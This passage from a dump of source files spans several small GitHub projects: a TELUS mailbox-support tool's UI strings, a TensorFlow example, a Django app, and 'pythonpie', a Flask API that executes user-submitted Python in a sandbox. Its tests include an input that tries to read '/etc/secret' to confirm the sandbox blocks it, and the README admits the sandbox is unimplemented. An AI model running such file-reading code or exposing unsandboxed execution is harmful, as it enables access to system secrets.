USLT2'\n json_object['description'] = 'We are completely replacing that old USLT v1 dude'\n\n \"\"\" Writing in the file \"\"\"\n try:\n with open(file_path, 'w') as file:\n json.dump(json_object, file, indent=4)\n except IOError:\n print('Temporary error while writing to the language file')" }, { "alpha_fraction": 0.6331236958503723, "alphanum_fraction": 0.6394129991531372, "avg_line_length": 25.55555534362793, "blob_id": "d240817ce9bdf6b48097d7ac5809b2cf7868a912", "content_id": "69ade20909d387256bd5b0ddcc4d47561eaf2cdb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 477, "license_type": "no_license", "max_line_length": 55, "num_lines": 18, "path": "/olds/module_modify_config_old.py", "repo_name": "kevklash/json_config-1", "src_encoding": "UTF-8", "text": "import json\n\ndef modify():\n \"\"\" Read the file \"\"\"\n try:\n with open('config.json', 'r') as config_file:\n json_object = json.load(config_file)\n except IOError:\n print(\"Temporary error reading the config file\")\n\n json_object[\"Frontend\"][1]['value'] = 'This is USLT2'\n\n \"\"\" Writing in the file \"\"\"\n try:\n with open('config.json', 'w') as file:\n json.dump(json_object, file, indent=4)\n except IOError:\n print('Temporary error while writing to the file')" }, { "alpha_fraction": 0.5523620247840881, "alphanum_fraction": 0.554043710231781, "avg_line_length": 28.736364364624023, "blob_id": "69d9823639a851ca996038961b1fcba8a54c9172", "content_id": "83ac2eb9f5852ef6cba9ac906aee51e950467628", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6642, "license_type": "no_license", "max_line_length": 684, "num_lines": 220, "path": "/olds/module_default_values_fr.py", "repo_name": "kevklash/json_config-1", "src_encoding": "UTF-8", "text": "def serveDataFR():\n \"\"\" Defining the default values for the backend config file \"\"\"\n data = {}\n json_data = [\n {\n \"id\": \"title\",\n \"value\": \"Gestion boîte de courriel\"\n },\n {\n \"id\": \"description\",\n \"value\": \"Cet outil est destiné à fournir des détails sur une boîte de courriel des clients à des fins d'interrogation et de recherche seulement, ainsi que d'aider avec quelques problèmes de connexion. Il peut fournir des indications concernant l'état du compte, les alias, les mécanismes de sécurité en cours d'utilisation, et l'utilisation de la boîte de courriel, y compris l'utilisation potentielle des applications tierces (POP / IMAP). Vous pouvez également supprimer toutes les informations supplémentaire de récupération pour les utilisateurs qui ont jamais été en mesure de s'authentifier, réinitialisation dans les cookies et réactiver un compte qui a été suspendu.\"\n },\n {\n \"id\": \"input_label\",\n \"value\": \"Entrez l'adresse de courriel que vous souhaitez rechercher:\"\n },\n {\n \"id\": \"input_placeholder\",\n \"value\": \"Entrez une adresse e-mail s'il vous plaît\"\n },\n {\n \"id\": \"search_button\",\n \"value\": \"Chercher\"\n },\n {\n \"id\": \"not_found_confirm\",\n \"value\": \"Utilisateur non trouvé\"\n },\n {\n \"id\": \"not_found_info\",\n \"value\": \"Impossible de trouver des utilisateurs actifs avec cette adresse de courriel dans le courriel de TELUS fourni par Google\"\n },\n {\n \"id\": \"not_telus_confirm\",\n \"value\": \"Pas une entrée valide\"\n },\n {\n \"id\": \"not_telus_info\",\n \"value\": \"S'il vous plaît inclure un domaine supporté par TELUS\"\n },\n {\n \"id\": \"error_confirm\",\n \"value\": \"Erreur du serveur\"\n },\n {\n \"id\": \"error_info\",\n \"value\": \"Le serveur semble être en panne\"\n },\n {\n \"id\": \"header_1\",\n \"value\": \"informations de compte Google\"\n },\n {\n \"id\": \"rec_email_none\",\n \"value\": \"Rien\"\n },\n {\n \"id\": \"rec_phone_none\",\n \"value\": \"Rien\"\n },\n {\n \"id\": \"login_time\",\n \"value\": \"à\"\n },\n {\n \"id\": \"login_time_none\",\n \"value\": \"Ne s'est pas connecté\"\n },\n {\n \"id\": \"two_step\",\n \"value\": \"OUI\"\n },\n {\n \"id\": \"two_step_no\",\n \"value\": \"NON\"\n },\n {\n \"id\": \"two_step_tip\",\n \"value\": \"Cliquez ici pour en savoir plus sur la validation en deux étapes\"\n },\n {\n \"id\": \"suspended\",\n \"value\": \"OUI\"\n },\n {\n \"id\": \"not_suspended\",\n \"value\": \"NON\"\n },\n {\n \"id\": \"header_2\",\n \"value\": \"Actions\"\n },\n {\n \"id\": \"warning_1\",\n \"value\": \"Soyez conscient que ces actions affectera le compte du client. S'il vous plaît, utilisez avec précaution.\"\n },\n {\n \"id\": \"warning_2\",\n \"value\": \"Aucun avertissement de suspension.\"\n },\n {\n \"id\": \"warning_3\",\n \"value\": \"AVERTISSEMENT: la raison de la suspension indique que cet utilisateur peut être suspendu pour des raisons de facturation. La relance de la suspension ne résoudra pas le problème tant que la facturation ne sera pas corrigée. Veuillez confirmer ces informations avant de remettre la suspension.\"\n },\n {\n \"id\": \"confirm_button\",\n \"value\": \"Confirmer\"\n },\n {\n \"id\": \"yes_button\",\n \"value\": \"Oui\"\n },\n {\n \"id\": \"no_button\",\n \"value\": \"Annuler\"\n },\n {\n \"id\": \"unsuspend_button\",\n \"value\": \"RÉACTIVER UTILISATEUR\"\n },\n {\n \"id\": \"unsuspend_on\",\n \"value\": \"Réactiver utilisateur\"\n },\n {\n \"id\": \"unsuspend_off\",\n \"value\": \"Puisque l'utilisateur n'est pas suspendu, ce bouton est désactivé\"\n },\n {\n \"id\": \"unsuspend_confirm\",\n \"value\": \"Annuler la suspension de l'utilisateur?\"\n },\n {\n \"id\": \"unsuspend_info\",\n \"value\": \"Vous êtes sur le point de passer outre l'état de suspension de cet utilisateur. Cela réactiver le compte dans le back-end..\"\n },\n {\n \"id\": \"unsuspend_success\",\n \"value\": \"L'utilisateur a été restauré avec succès\"\n },\n {\n \"id\": \"cancel_confirm\",\n \"value\": \"Annuler\"\n },\n {\n \"id\": \"cancel_info\",\n \"value\": \"Pas de changements\"\n },\n {\n \"id\": \"recovery_button\",\n \"value\": \"SUPPRIMER LES INFORMATIONS DE RÉCUPÉRATION\"\n },\n {\n \"id\": \"recovery_on\",\n \"value\": \"Supprimer les informations de récupération\"\n },\n {\n \"id\": \"recovery_off\",\n \"value\": \"Étant donné que cet utilisateur ne dispose d'aucune information de récupération, ce bouton est désactivé\"\n },\n {\n \"id\": \"recovery_confirm\",\n \"value\": \"Supprimer les informations de récupération?\"\n },\n {\n \"id\": \"recovery_info\",\n \"value\": \"Cela permettra d'éliminer à la fois l'e-mail de récupération et le numéro de téléphone de récupération dans le compte. Si leur demande de vérifier leur identité à ce moment, il les fera demander un numéro de téléphone portable pour recevoir un code. Dans le cas contraire, ils devront mettre à jour leurs informations de récupération sur myaccount.google.com pour éviter des problèmes à l'avenir.\"\n },\n {\n \"id\": \"recovery_success\",\n \"value\": \"Les informations de récupération ont été supprimées avec succès\"\n },\n {\n \"id\": \"cookies_button\",\n \"value\": \"SIGN-IN RÉINITIALISER LES COOKIES\"\n },\n {\n \"id\": \"cookies_confirm\",\n \"value\": \"sign-in Réinitialiser les cookies?\"\n },\n {\n \"id\": \"cookies_info\",\n \"value\": \"Cette action obligera l'utilisateur à se déconnecter de toutes ses sessions actives. Pour ce faire, ils doivent entrer leur nom d'utilisateur et leur mot de passe pour se reconnecter à leur compte.\"\n },\n {\n \"id\": \"cookies_success\",\n \"value\": \"Les cookies ont été réinitialisés avec succès\"\n },\n {\n \"id\": \"header_3\",\n \"value\": \"Changé par\"\n },\n {\n \"id\": \"header_4\",\n \"value\": \"email affectée\"\n },\n {\n \"id\": \"header_5\",\n \"value\": \"Événement\"\n },\n {\n \"id\": \"header_6\",\n \"value\": \"Date\"\n },\n {\n \"id\": \"header_7\",\n \"value\": \"IP\"\n },\n {\n \"id\": \"header_8\",\n \"value\": \"Self?\"\n }\n ]\n\n\n for item in range(len(json_data)):\n data[json_data[item][\"id\"]] = json_data[item][\"value\"]\n \n\n return data" }, { "alpha_fraction": 0.5138769149780273, "alphanum_fraction": 0.515945553779602, "avg_line_length": 25.49315071105957, "blob_id": "95f84751a323c030d0908ece8e96d4807ab5b39f", "content_id": "a86c8c1dbd6482b8217621610e8a559da378d5de", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5805, "license_type": "no_license", "max_line_length": 523, "num_lines": 219, "path": "/olds/module_default_values_old.py", "repo_name": "kevklash/json_config-1", "src_encoding": "UTF-8", "text": "def serveData():\n \"\"\" Defining the default values for the backend config file \"\"\"\n data = []\n json_data = [\n {\n \"id\": \"title\",\n \"value\": \"Mailbox Management Tool\"\n },\n {\n \"id\": \"description\",\n \"value\": \"This tool is intended to provide details about a customer’s mailbox for query and research purposes only, as well as assist with some login issues. It can provide insights regarding the status of the account, aliases, security mechanisms in use, and mailbox usage, including the potential use of third party applications (POP/IMAP). To address sign in issues, you can also remove all recovery information for users who have never been able to sign in, reset sign in cookies for users and unsuspend users.\"\n },\n {\n \"id\": \"input_label\",\n \"value\": \"Enter the email address you wish to search for:\"\n },\n {\n \"id\": \"input_placeholder\",\n \"value\": \"Enter email address...\"\n },\n {\n \"id\": \"search_button\",\n \"value\": \"Search\"\n },\n {\n \"id\": \"not_found_confirm\",\n \"value\": \"User not found\"\n },\n {\n \"id\": \"not_found_info\",\n \"value\": \"Couldn't find any active users with this email address in TELUS email powered by Google\"\n },\n {\n \"id\": \"not_telus_confirm\",\n \"value\": \"Not a valid input\"\n },\n {\n \"id\": \"not_telus_info\",\n \"value\": \"Please include a valid Telus domain\"\n },\n {\n \"id\": \"error_confirm\",\n \"value\": \"Server error\"\n },\n {\n \"id\": \"error_info\",\n \"value\": \"Server appears to be down\"\n },\n {\n \"id\": \"header_1\",\n \"value\": \"Google account information\"\n },\n {\n \"id\": \"rec_email_none\",\n \"value\": \"None\"\n },\n {\n \"id\": \"rec_phone_none\",\n \"value\": \"None\"\n },\n {\n \"id\": \"login_time\",\n \"value\": \"at\"\n },\n {\n \"id\": \"login_time_none\",\n \"value\": \"Never signed in\"\n },\n {\n \"id\": \"two_step\",\n \"value\": \"YES\"\n },\n {\n \"id\": \"two_step_no\",\n \"value\": \"NO\"\n },\n {\n \"id\": \"two_step_tip\",\n \"value\": \"Click here to learn more about 2-Step Verification\"\n },\n {\n \"id\": \"suspended\",\n \"value\": \"YES\"\n },\n {\n \"id\": \"not_suspended\",\n \"value\": \"NO\"\n },\n {\n \"id\": \"header_2\",\n \"value\": \"Actions\"\n },\n {\n \"id\": \"warning_1\",\n \"value\": \"Be mindful that these actions will directly affect the customer's account. Please, use with caution.\"\n },\n {\n \"id\": \"warning_2\",\n \"value\": \"No suspension warnings.\"\n },\n {\n \"id\": \"warning_3\",\n \"value\": \"WARNING: The suspension reason indicates that this user might be suspended due to billing reasons. Unsuspending will not solve the issue until billing is fixed. Please confirm this information before unsuspending.\"\n },\n {\n \"id\": \"confirm_button\",\n \"value\": \"OK\"\n },\n {\n \"id\": \"yes_button\",\n \"value\": \"Yes\"\n },\n {\n \"id\": \"no_button\",\n \"value\": \"Cancel\"\n },\n {\n \"id\": \"unsuspend_button\",\n \"value\": \"UNSUSPEND USER\"\n },\n {\n \"id\": \"unsuspend_on\",\n \"value\": \"Unsuspend user\"\n },\n {\n \"id\": \"unsuspend_off\",\n \"value\": \"Since the user is not suspended, this button is disabled\"\n },\n {\n \"id\": \"unsuspend_confirm\",\n \"value\": \"Unsuspend user?\"\n },\n {\n \"id\": \"unsuspend_info\",\n \"value\": \"You are about to override this user’s suspension status. This will reactivate the account in the backend.\"\n },\n {\n \"id\": \"unsuspend_success\",\n \"value\": \"The user was successfully unsuspended\"\n },\n {\n \"id\": \"cancel_confirm\",\n \"value\": \"Cancel\"\n },\n {\n \"id\": \"cancel_info\",\n \"value\": \"No changes made\"\n },\n {\n \"id\": \"recovery_button\",\n \"value\": \"REMOVE RECOVERY INFO\"\n },\n {\n \"id\": \"recovery_on\",\n \"value\": \"Remove recovery info\"\n },\n {\n \"id\": \"recovery_off\",\n \"value\": \"Since this user has no recovery info, this button is disabled\"\n },\n {\n \"id\": \"recovery_confirm\",\n \"value\": \"Remove Recovery Info?\"\n },\n {\n \"id\": \"recovery_info\",\n \"value\": \"This will remove both the recovery email and recovery phone number in the account. If being asked to verify their identity at this time, it will cause them to be asked for a mobile number to receive a code. Otherwise, they will have to update their recovery details on myaccount.google.com to avoid issues in the future.\"\n },\n {\n \"id\": \"recovery_success\",\n \"value\": \"Recovery information has been removed successfully\"\n },\n {\n \"id\": \"cookies_button\",\n \"value\": \"RESET SIGN-IN COOKIES\"\n },\n {\n \"id\": \"cookies_confirm\",\n \"value\": \"Reset Sign-In Cookies?\"\n },\n {\n \"id\": \"cookies_info\",\n \"value\": \"This action will force the user to sign out of all of their active sessions. Doing so requires them to enter their username and password to sign back in to their account.\"\n },\n {\n \"id\": \"cookies_success\",\n \"value\": \"Cookies have been reset successfully\"\n },\n {\n \"id\": \"header_3\",\n \"value\": \"Changed by\"\n },\n {\n \"id\": \"header_4\",\n \"value\": \"Affected email\"\n },\n {\n \"id\": \"header_5\",\n \"value\": \"Event\"\n },\n {\n \"id\": \"header_6\",\n \"value\": \"Date\"\n },\n {\n \"id\": \"header_7\",\n \"value\": \"IP\"\n },\n {\n \"id\": \"header_8\",\n \"value\": \"Self?\"\n }\n ]\n\n for item in range(len(json_data)):\n new_item = json_data[item]\n data.append(new_item) \n\n return data" }, { "alpha_fraction": 0.6412884593009949, "alphanum_fraction": 0.6412884593009949, "avg_line_length": 24.33333396911621, "blob_id": "a3dadec59eadd26ae9605c588622dd4ffa383a05", "content_id": "e059ea438bad735c9c9c46892f7bc96c17101aca", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 683, "license_type": "no_license", "max_line_length": 66, "num_lines": 27, "path": "/module_default_values.py", "repo_name": "kevklash/json_config-1", "src_encoding": "UTF-8", "text": "import json\n\n\ndataEn = {}\ndataFr = {}\n\n\ndef get_store():\n try:\n with open('lang_defaults/en.json', 'r') as store:\n data_file = json.load(store)\n for item in range(len(data_file)):\n dataEn[data_file[item][\"id\"]] = data_file[item][\"value\"]\n except IOError:\n print(\"Temporary error reading the default language EN store\")\n return dataEn\n\n\ndef get_storeFR():\n try:\n with open('lang_defaults/fr.json', 'r') as store:\n data_file = json.load(store)\n for item in range(len(data_file)):\n dataFr[data_file[item][\"id\"]] = data_file[item][\"value\"]\n except IOError:\n print(\"Temporary error reading the default language FR store\")\n return dataFr" }, { "alpha_fraction": 0.7403846383094788, "alphanum_fraction": 0.7403846383094788, "avg_line_length": 28.785715103149414, "blob_id": "fb1b3ff436ec74919294c16b4199b8ea4aef915c", "content_id": "baa01adbf35df55a269bd7507ce185e715240320", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 416, "license_type": "no_license", "max_line_length": 56, "num_lines": 14, "path": "/main.py", "repo_name": "kevklash/json_config-1", "src_encoding": "UTF-8", "text": "from module_default_values import get_store, get_storeFR\nfrom module_create_file import create_json\nfrom module_read_config import print_data\nfrom module_modify_config import modify\nimport json\n\ndata = get_store()\ndataFR = get_storeFR()\nfilePathEN = \"./en/translation.json\"\nfilePathFR = \"./fr/translation.json\"\n\nif __name__ == \"__main__\":\n create_json(filePathFR, dataFR, \"FR\")\n create_json(filePathEN, data, \"EN\")" } ]
10
pavelkondratyuk/nnexamples
https://github.com/pavelkondratyuk/nnexamples
4ba3527d31f39c1dce385d8d59a3cabf9e321fbc
4987e3ca697acf9594119ad53201c75695c55279
4fd57971bdb14c27674cf3500f4da934ed57ea8b
refs/heads/master
2021-07-16T10:19:03.974293
2017-10-10T15:19:33
2017-10-10T15:19:33
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5961844325065613, "alphanum_fraction": 0.6454690098762512, "avg_line_length": 22.314815521240234, "blob_id": "c830443db4947597ca8f66905abd85c3a9016e8a", "content_id": "a10fe66ee4d247ce528c29f1e0d1dcc7ac9fff47", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1258, "license_type": "no_license", "max_line_length": 76, "num_lines": 54, "path": "/main/tensorflow_flat.py", "repo_name": "pavelkondratyuk/nnexamples", "src_encoding": "UTF-8", "text": "#%%\nimport numpy as np\nimport tensorflow as tf\n\n#%%\nnode1 = tf.constant(3.0, dtype=tf.float32)\nnode2 = tf.constant(4.0) # float32 implicitly\nprint(node1, node2)\n#%%\nsess = tf.Session()\nprint(sess.run([node1, node2]))\n#%%\nnode3 = tf.add(node1, node2)\nsess.run(node3)\n\n#%%\na = tf.placeholder(tf.float32)\nb = tf.placeholder(tf.float32)\nadder_node = a + b #shortcut for tf.add(a, b)\nsess.run(adder_node, {a: 20, b: 3})\nsess.run(adder_node, {a: [1, 2], b: [5, 6]})\n\n#%%\nW = tf.Variable([100], dtype=tf.float32)\nb = tf.Variable([200], dtype=tf.float32)\nx = tf.placeholder(tf.float32)\ny = tf.placeholder(tf.float32)\nlinear = W*x + b\nsquared_deltas = tf.square(linear - y)\n#loss\nloss = tf.reduce_sum(squared_deltas)\n#optimizer\noptimizer = tf.train.GradientDescentOptimizer(0.01)\ntrain = optimizer.minimize(loss)\n\ninit = tf.global_variables_initializer()\nsess.run(init)\n#training set\nx_train = [1, 2, 3, 4]\ny_train = [0, -1, -2, -3]\n\nsess.run(loss, {x: x_train, y: y_train})\n\nfor i in range(1000):\n sess.run(train, {x: x_train, y: y_train})\n if i%100 == 0:\n print(sess.run([W, b]))\n\n#Evaluate accuracy\ncurr_W, curr_b, curr_loss = sess.run([W, b, loss], {x: x_train, y: y_train})\nprint(\"W: %s b: %s loss: %s\"%(curr_W, curr_b, curr_loss))\n\n#%%\nsess.close()" } ]
1
hiroshi21/LPG
https://github.com/hiroshi21/LPG
56295ac98a54387bd550856b332d4c1100131e1a
6e6b07005f095227524696208a74c47fb2afd546
519c878374e9e2ba2d2ac351956c3175e6c7d681
refs/heads/master
2020-05-29T14:15:11.971490
2019-05-29T09:48:56
2019-05-29T09:48:56
189,188,707
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5909090638160706, "alphanum_fraction": 0.6363636255264282, "avg_line_length": 6.666666507720947, "blob_id": "dbdec986e20aa44981004d9bd1690d82ad55cd16", "content_id": "7000d7a804ed86445883730e8dcfd3411294f7bf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 22, "license_type": "no_license", "max_line_length": 13, "num_lines": 3, "path": "/test2.py", "repo_name": "hiroshi21/LPG", "src_encoding": "UTF-8", "text": "# test2\n\nprint('test')" } ]
1
coderclash/pythonpie
https://github.com/coderclash/pythonpie
c19ce11f32df55f93376a3bd88c769e327a11528
e7bf4b97ad91d3353f86953378cca1f9bd0cb456
15700f21255115a75bfee3e24249b4d4e40a9d1c
refs/heads/master
2016-09-05T10:57:00.219241
2012-03-26T00:54:34
2012-03-26T00:54:34
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5385556817054749, "alphanum_fraction": 0.5618115067481995, "avg_line_length": 25.786884307861328, "blob_id": "06bcf9b48292ef0fdb563cb4a9658db7313b0f95", "content_id": "8903e98daebe48525d56e1be300488e7ffb3cacc", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1634, "license_type": "permissive", "max_line_length": 94, "num_lines": 61, "path": "/tests.py", "repo_name": "coderclash/pythonpie", "src_encoding": "UTF-8", "text": "import unittest\nimport simplejson\nimport requests\n\nfrom datetime import datetime\n\nheaders = {'content-type': 'application/json'}\n\n\nclass PieParse(unittest.TestCase):\n def check_eval(self, codes, expected):\n data = simplejson.dumps({'code': codes})\n r = requests.post('http://localhost:8000/v1/python/2.7.1',\n data=data,\n headers=headers)\n self.assertEquals(200, r.status_code)\n data = simplejson.loads(r.content)\n self.assertIn(expected, data['results'])\n\n def test_homepage(self):\n r = requests.get('http://localhost:8000/')\n self.assertEquals(200, r.status_code)\n\n\n def test_code(self):\n self.check_eval(\n 'print 1+1',\n '2'\n )\n\n def test_timeout(self):\n early = datetime.now()\n\n data = simplejson.dumps({'code': 'while True:\\n print \"hey!\"'})\n r = requests.post('http://localhost:8000/v1/python/2.7.1', data=data, headers=headers)\n self.assertEquals(200, r.status_code)\n\n lenth = datetime.now() - early\n self.assertTrue(6 > lenth.seconds)\n\n def test_exception(self):\n self.check_eval(\n 'raise Exception(\"hello!\")',\n 'Exception: hello!'\n )\n\n def test_syntax_error(self):\n self.check_eval(\n 'for x in range(10)\\n print \"hey!\"',\n 'SyntaxError: invalid syntax (<string>, line 1)'\n )\n\n def test_restricted_error(self):\n self.check_eval(\n 'f = open(\"/etc/secret\", \"r\")',\n \"IOError: [Errno 13]\"\n )\n\n\nif __name__ == '__main__':\n unittest.main()\n" }, { "alpha_fraction": 0.684959352016449, "alphanum_fraction": 0.7174796462059021, "avg_line_length": 20.434782028198242, "blob_id": "7e610ade07e2168215b0dd026a03f851987d1d9a", "content_id": "2923cb40f578c537c3912f925b46cc21d5e5db52", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 492, "license_type": "permissive", "max_line_length": 67, "num_lines": 23, "path": "/README.md", "repo_name": "coderclash/pythonpie", "src_encoding": "UTF-8", "text": "# PythonPie - A Simple JSON API for Safely Running Python Code.\n\nWe run your codes.\n\n** Warning, sandbox not implemented. Trust me. Not good. **\n\n\n### Features\n\n* Uses gevent for fastness.\n* Sandboxes python.\n\n\n### Install/Usage\n\n**Make sure redis is installed and running on the standard ports!**\n\n1. `git clone [email protected]:coderclash/pythonpie.git`\n2. `cd pythonpie`\n3. `mkvirtualenv pythonpie`\n4. `pip install -r requirements`\n5. `gunicorn pythonpie:app -b 127.0.0.1:5000`\n6. `python tests.py`" }, { "alpha_fraction": 0.4787878692150116, "alphanum_fraction": 0.6848484873771667, "avg_line_length": 14, "blob_id": "42fbe46e6541f34a4c89ec2b85af025d462b172d", "content_id": "46d2d98f772ef9ab5efdf1a13c80bcc6ee1cb456", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 165, "license_type": "permissive", "max_line_length": 17, "num_lines": 11, "path": "/requirements.txt", "repo_name": "coderclash/pythonpie", "src_encoding": "UTF-8", "text": "Flask==0.8\nJinja2==2.6\nWerkzeug==0.8.3\ncertifi==0.0.8\nchardet==1.0.1\ngunicorn==0.14.2\npysandbox==1.5\nredis==2.4.11\nrequests==0.10.8\nsimplejson==2.4.0\nwsgiref==0.1.2\n" }, { "alpha_fraction": 0.5883170962333679, "alphanum_fraction": 0.5952712297439575, "avg_line_length": 28.91666603088379, "blob_id": "3f2795668671bb442bc8a9d723daf71b65993aed", "content_id": "fe8334ef082660ea6af78f2ad3e1d33c2fa93579", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 719, "license_type": "permissive", "max_line_length": 53, "num_lines": 24, "path": "/pythonpie/static/js/main.js", "repo_name": "coderclash/pythonpie", "src_encoding": "UTF-8", "text": "\n$(document).ready(function() {\n var PythonMode, editor;\n editor = ace.edit('editor');\n editor.setTheme('ace/theme/twilight');\n PythonMode = require('ace/mode/python').Mode;\n editor.getSession().setMode(new PythonMode());\n return $('.btn-submit').click(function() {\n var code;\n code = editor.getSession().getValue();\n return $.ajax({\n type: 'POST',\n url: '/v1/python/2.7.1',\n data: JSON.stringify({\n code: code\n }),\n contentType: \"application/json; charset=utf-8\",\n success: function(data, textStatus, jqXHR) {\n console.log(data, textStatus, jqXHR);\n console.log(data.results);\n return $('#results').text(data.results);\n }\n });\n });\n});\n" }, { "alpha_fraction": 0.6485260725021362, "alphanum_fraction": 0.6553288102149963, "avg_line_length": 26.5625, "blob_id": "a07567e4335bef87d95e1312f4844e2bde59f8dd", "content_id": "65a3b6534096fd9c0f39719f0d6ee581e8183110", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1323, "license_type": "permissive", "max_line_length": 64, "num_lines": 48, "path": "/pythonpie/views.py", "repo_name": "coderclash/pythonpie", "src_encoding": "UTF-8", "text": "import simplejson\n\nfrom flask import request, render_template, Response\n\nfrom pythonpie import app\nfrom pythonpie.throttle import should_be_throttled\nfrom pythonpie.utils import run_python, timeout, TimeoutError\n\n\[email protected]('/', methods=['GET'])\ndef docs():\n return render_template('index.html')\n\n\ndef give_error(message):\n response = dict(results='', errors=[], success=True)\n response['success'] = False\n response['errors'] = [{'message': message}]\n return Response(\n simplejson.dumps(response),\n mimetype='application/json')\n\n\n\[email protected]('/v1/python/2.7.1', methods=['POST'])\ndef run_code():\n email = request.args.get('email', None)\n\n # TODO: cleanup and return 403 status\n if request.json is None:\n return give_error('Must provide JSON.')\n\n if not request.json.get('code', None):\n return give_error('Must provide \"code\" key in JSON.')\n\n response = dict(results='', errors=[], success=True)\n code = request.json.get('code')\n\n try:\n results = timeout(run_python, [code])\n response['results'] = results.strip()\n except TimeoutError:\n response['success'] = False\n response['results'] = 'Timeout error! 5 seconds is max.'\n\n return Response(\n simplejson.dumps(response, indent=2),\n mimetype='application/json')\n" }, { "alpha_fraction": 0.5161290168762207, "alphanum_fraction": 0.7096773982048035, "avg_line_length": 15, "blob_id": "94a726a8b1ef2a33fd2852ae55320395c55c65a8", "content_id": "c3703939a289b1df27ee9bd06748ef3c9b6e0bfe", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 31, "license_type": "permissive", "max_line_length": 17, "num_lines": 2, "path": "/pythonpie/settings_local.py", "repo_name": "coderclash/pythonpie", "src_encoding": "UTF-8", "text": "REDIS_PORT = 6380\nREDIS_DB = 14" }, { "alpha_fraction": 0.6353646516799927, "alphanum_fraction": 0.6413586139678955, "avg_line_length": 22.279069900512695, "blob_id": "1b6ede54aa57c7190e10f9754cdd01ed4ff60686", "content_id": "6cba30e92d0935546fa10bc98960710da73a35ab", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1001, "license_type": "permissive", "max_line_length": 78, "num_lines": 43, "path": "/pythonpie/utils.py", "repo_name": "coderclash/pythonpie", "src_encoding": "UTF-8", "text": "import sys\nfrom cStringIO import StringIO\n\nfrom sandbox import Sandbox, SandboxConfig\n\n\ndef run_python(code):\n # call and run code\n sandbox = Sandbox(SandboxConfig('stdout', use_subprocess=True, timeout=5))\n backup = sys.stdout\n\n try:\n sys.stdout = StringIO() # capture output\n sandbox.execute(code)\n results = sys.stdout.getvalue() # release output\n finally:\n sys.stdout.close() # close the stream \n sys.stdout = backup\n\n return results\n\n\nclass TimeoutError(Exception):\n pass\n\ndef timeout(func, args=(), kwargs={}, duration=5):\n import signal\n\n def handler(signum, frame):\n raise TimeoutError()\n\n # Set the signal handler and a 5-second alarm\n signal.signal(signal.SIGALRM, handler)\n signal.alarm(duration)\n\n # This open() may hang indefinitely\n try:\n result = func(*args, **kwargs)\n except Exception, e:\n return u'{0}: {1}'.format(e.__class__.__name__, e)\n\n signal.alarm(0)\n return result\n" } ]
7
a20202042/django_lunch
https://github.com/a20202042/django_lunch
55aa59a0ed06428f3bd730ad012a25e84f571463
a7830e52c5cf4988dcc822748c28d3023cf4f235
bd0555fe03fdbce3dc57bebf1e473f1c961e6f13
refs/heads/master
2023-06-24T08:58:23.930820
2021-07-26T18:15:51
2021-07-26T18:15:51
389,727,903
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.8026315569877625, "alphanum_fraction": 0.8026315569877625, "avg_line_length": 24.33333396911621, "blob_id": "dd7f4470ad3787800fdce808fb30d36a6901cc68", "content_id": "9774ad25d0a147f2716904d4441c4ea897338564", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 152, "license_type": "no_license", "max_line_length": 33, "num_lines": 6, "path": "/mysite/admin.py", "repo_name": "a20202042/django_lunch", "src_encoding": "UTF-8", "text": "from django.contrib import admin\nfrom .models import Store, dishes\nadmin.site.register(Store)\nadmin.site.register(dishes)\n\n# Register your models here.\n" }, { "alpha_fraction": 0.6164901852607727, "alphanum_fraction": 0.6195158958435059, "avg_line_length": 33.81578826904297, "blob_id": "999c52342d7defaf17b0ee890808962d705ee025", "content_id": "657474f6280f481e013efdd1c410b4ef2d5d3da6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1354, "license_type": "no_license", "max_line_length": 67, "num_lines": 38, "path": "/mysite/forms.py", "repo_name": "a20202042/django_lunch", "src_encoding": "UTF-8", "text": "from django import forms\nfrom django.contrib.auth.forms import UserCreationForm\nfrom django.contrib.auth.models import User\nimport mysite.models as models\nclass RegisterForm(UserCreationForm):\n username = forms.CharField(\n label=\"帳號\",\n widget=forms.TextInput(attrs={'class': 'form-control'})\n )\n email = forms.EmailField(\n label=\"電子郵件\",\n widget=forms.EmailInput(attrs={'class': 'form-control'})\n )\n password1 = forms.CharField(\n label=\"密碼\",\n widget=forms.PasswordInput(attrs={'class': 'form-control'})\n )\n class Meta:\n model = User\n fields = ('username', 'email', 'password1')\nclass LoginForm(forms.Form):\n username = forms.CharField(\n label=\"帳號\",\n widget=forms.TextInput(attrs={'class': 'form-control'})\n )\n password = forms.CharField(\n label=\"密碼\",\n widget=forms.PasswordInput(attrs={'class': 'form-control'})\n )\nclass store_form(forms.ModelForm):\n class Meta:\n model = models.Store\n fields = [\"store_name\", \"store_number\", \"store_remake\"]\n def __init__(self, *args, **kwargs):\n super(store_form, self).__init__(*args, **kwargs)\n self.fields['store_name'].label = \"商店名稱\"\n self.fields['store_number'].label = \"0.0\"\n self.fields['store_remake'].label = \".-.\"" }, { "alpha_fraction": 0.5121602416038513, "alphanum_fraction": 0.54935622215271, "avg_line_length": 23.964284896850586, "blob_id": "6c0671190ac117f088a6c4bd61247b7d95e7bac0", "content_id": 